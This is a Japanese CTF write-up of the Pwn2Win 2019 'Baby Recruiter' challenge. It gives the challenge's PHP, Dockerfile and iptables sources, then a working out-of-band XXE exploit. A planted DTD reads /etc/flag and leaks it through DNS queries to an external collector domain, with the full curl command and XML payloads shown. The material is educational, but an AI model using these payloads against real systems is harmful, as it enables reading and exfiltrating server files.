Pwn2Win CTF 2019 Writeup - Baby Recruiter
Question
We found a Curriculum service from HARPA. Well, what do you think about pwn it? :) P.S.: the flag is not in default format, so add CTF-BR{} when you find it (leet speak).
添付のソースコードは以下のとおり。
setup.sh
#!/bin/bash # build docker docker build -t babyrecruiter . # setup firewall docker run --cap-add=NET_ADMIN -p 80:80 -it babyrecruiter /bin/bash -c 'chmod +x iptables.sh && ./iptables.sh && rm iptables.sh'
iptables.sh
#!/bin/bash IPT="/sbin/iptables" # Server IP SERVER_IP="$(ip addr show eth0 | grep 'inet ' | cut -f2 | awk '{ print $2}')" echo "flush iptable rules" $IPT -F $IPT -X $IPT -t nat -F $IPT -t nat -X $IPT -t mangle -F $IPT -t mangle -X echo "Set default policy to 'DROP'" $IPT -P INPUT DROP $IPT -P FORWARD DROP $IPT -P OUTPUT DROP ## This should be one of the first rules. ## so dns lookups are already allowed for your other rules $IPT -A OUTPUT -p udp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT $IPT -A INPUT -p udp --sport 53 -m state --state ESTABLISHED -j ACCEPT $IPT -A OUTPUT -p tcp --dport 53 -m state --state NEW,ESTABLISHED -j ACCEPT $IPT -A INPUT -p tcp --sport 53 -m state --state ESTABLISHED -j ACCEPT echo "allow all and everything on localhost" $IPT -A INPUT -i lo -j ACCEPT $IPT -A OUTPUT -o lo -j ACCEPT ####################################################################################################### ## Global iptable rules. Not IP specific echo "Allowing new and established incoming connections to port 80" $IPT -A INPUT -p tcp -m multiport --dports 80 -m state --state NEW,ESTABLISHED -j ACCEPT $IPT -A OUTPUT -p tcp -m multiport --sports 80 -m state --state ESTABLISHED -j ACCEPT # Log before dropping $IPT -A INPUT -j LOG -m limit --limit 12/min --log-level 4 --log-prefix 'IP INPUT drop: ' $IPT -A INPUT -j DROP $IPT -A OUTPUT -j LOG -m limit --limit 12/min --log-level 4 --log-prefix 'IP OUTPUT drop: ' $IPT -A OUTPUT -j DROP exit 0
Dockerfile
FROM ubuntu:18.04 ENV DEBIAN_FRONTEND=noninteractive # install web server RUN apt-get update RUN apt install -y apache2 curl php libapache2-mod-php php-mysql php-xml gdebi wget iptables net-tools # we really don't like hackers RUN find / -name "*.dtd" -type f -delete RUN find / -name "*.xml" -type f -delete # install prince WORKDIR /tmp RUN wget https://www.princexml.com/download/prince_12.5-1_ubuntu18.04_amd64.deb RUN gdebi --option=APT::Get::force-yes="true" --option=APT::Get::Assume-Yes="true" -n prince_12.5-1_ubuntu18.04_amd64.deb # setup webserver WORKDIR /var/www/html COPY . . RUN rm -rf index.html Dockerfile && mkdir resumes RUN chmod 777 resumes RUN echo '' > resumes/index.html # create a flag RUN echo -n 'this_is_not_the_flag' > /etc/flag RUN chmod +x iptables.sh && ./iptables.sh RUN rm iptables.sh # start web service RUN service apache2 start EXPOSE 1337 CMD apachectl -D FOREGROUND
index.php
<?php $binary = "/usr/bin/prince"; stream_wrapper_unregister("phar"); stream_wrapper_unregister("data"); stream_wrapper_unregister("glob"); stream_wrapper_unregister("compress.zlib"); stream_wrapper_unregister("php"); if ($_SERVER['REQUEST_METHOD'] == 'POST') { /* create resume using prince */ $content = $_POST['content']; $filename = md5($_SERVER['REMOTE_ADDR']); $file = "/tmp/" . $filename . ".html"; $sf = fopen($file, 'w'); fwrite($sf, $content); fclose($sf); exec($binary . " --no-local-files " . $file . " -o resumes/" . $filename . ".pdf"); /* debug */ $dom = new DOMDocument(); $dom->loadXML($content, LIBXML_NOENT | LIBXML_DTDLOAD); $info = simplexml_import_dom($dom); /*$page = ' <html> <head> <title>Resumes</title> <style> textarea { width: 500px; height: 300px; } </style> </head> <body> <span>name: ' . $info->name . '</span><br><br> </body> </html> '; echo $page;*/ header('Location: /resumes/' . $filename . '.pdf'); } else { echo ' <html> <head> <title>Resume</title> <style> textarea { width: 500px; height: 300px; } </style> </head> <body> <h1>Apply today!</h1> <span>Good enough to work with HARPA? send us you resume: </span><br> <textarea name="content" form="princeForm">Enter text here...</textarea> <form method="POST" action="/index.php" id="princeForm"> <input type="submit" value="Convert to PDF"></input> </form> </body> </html> '; }
Solution
ソースコード解析
ソースコードを読み解くと以下のことがわかる。
- フラグファイルは
/etc/flag
に存在。 - 外部への通信はDNSのみ可能。
- 入力データを
/tmp/
配下にファイル出力。ファイル名はクライアントのIPアドレスをmd5計算したもの。 - princeというツールを使用してHTMLからPDFに変換。
- デバッグ用に入力データを
loadXML
でパース。
調査
princeの既知の脆弱性を疑って検索すると以下の記事がHITする。
www.corben.io
index.phpのソースコードと酷似しているが、今回の問題は最新のprinceを使用しているためこの脆弱性は使用できない。
次にloadXMLを使用している点からXXEを疑う。
XMLのパース結果は直接レスポンスとして返ってこないため、OOB XXE Attackの使用を考える。
github.com
OOB XXE Attackには別途DTDファイルが必要だが、iptablesで外部への通信はDNS以外ブロックされている。
そこで、入力データを/tmp/
配下にファイル出力していることを利用し、サーバ内にDTDファイルを作成させる。
なお、同じIPアドレスからDTDファイルの作成リクエストとDTDファイルを参照させるリクエストを発行すると、ファイルが上書きされてしまうが、送信元のIPアドレスを変えればサーバ内にDTDファイルを残した状態にできる。
リーク先の通信もブロックされるが、昨今のマルウェアやウィルス対策ソフトのように、DNSのサブドメインを使用してリークさせればよい。
exploit
1. ドメイン用意
以下のサービスを利用して、DNSのサブドメインへのクエリを確認できるドメインを払い出す。 dnsbin.zhack.ca
51a19e650babb6f295ed.d.zhack.ca
が払い出された。
2. DTDファイル作成
取得したドメインをセットして以下を送信する。
<!ENTITY % all "<!ENTITY send SYSTEM 'http://%file;.51a19e650babb6f295ed.d.zhack.ca/'>"> %all;
curlコマンドにすると以下のとおり。
$ curl http://167.71.102.84/index.php -d "content=%3C%21ENTITY+%25+all+%22%3C%21ENTITY+send+SYSTEM+%27http%3A%2F%2F%25file%3B.51a19e650babb6f295ed.d.zhack.ca%2F%27%3E%22%3E%0D%0A%25all%3B" -v * Trying 167.71.102.84... * TCP_NODELAY set * Connected to 167.71.102.84 (167.71.102.84) port 80 (#0) > POST /index.php HTTP/1.1 > Host: 167.71.102.84 > User-Agent: curl/7.58.0 > Accept: */* > Content-Length: 145 > Content-Type: application/x-www-form-urlencoded > * upload completely sent off: 145 out of 145 bytes < HTTP/1.1 302 Found < Date: Sun, 10 Nov 2019 02:31:54 GMT < Server: Apache/2.4.29 (Ubuntu) < Location: /resumes/5e870399feeb3947c7f6c27b3ee0d71e.pdf < Content-Length: 0 < Content-Type: text/html; charset=UTF-8 < * Connection #0 to host 167.71.102.84 left intact
レスポンスのLocationヘッダのPDFファイル名と同じファイル名(拡張子はhtml)で、/tmp/
にDTDファイルが生成されているはずである。
3. リーク要求
2とは別のIPアドレスから以下を送信する。
<?xml version="1.0" encoding="ISO-8859-1"?> <!DOCTYPE data [ <!ENTITY % file SYSTEM "file:///etc/flag"> <!ENTITY % dtd SYSTEM "/tmp/5e870399feeb3947c7f6c27b3ee0d71e.html"> %dtd; ]> <data>&send;</data>
すると、DNSBinにクエリが来た。
c0ngr4tz_y0u_w3r3_4ccpt3d
CTF-BR{}で括ったものがフラグ。
CTF-BR{c0ngr4tz_y0u_w3r3_4ccpt3d}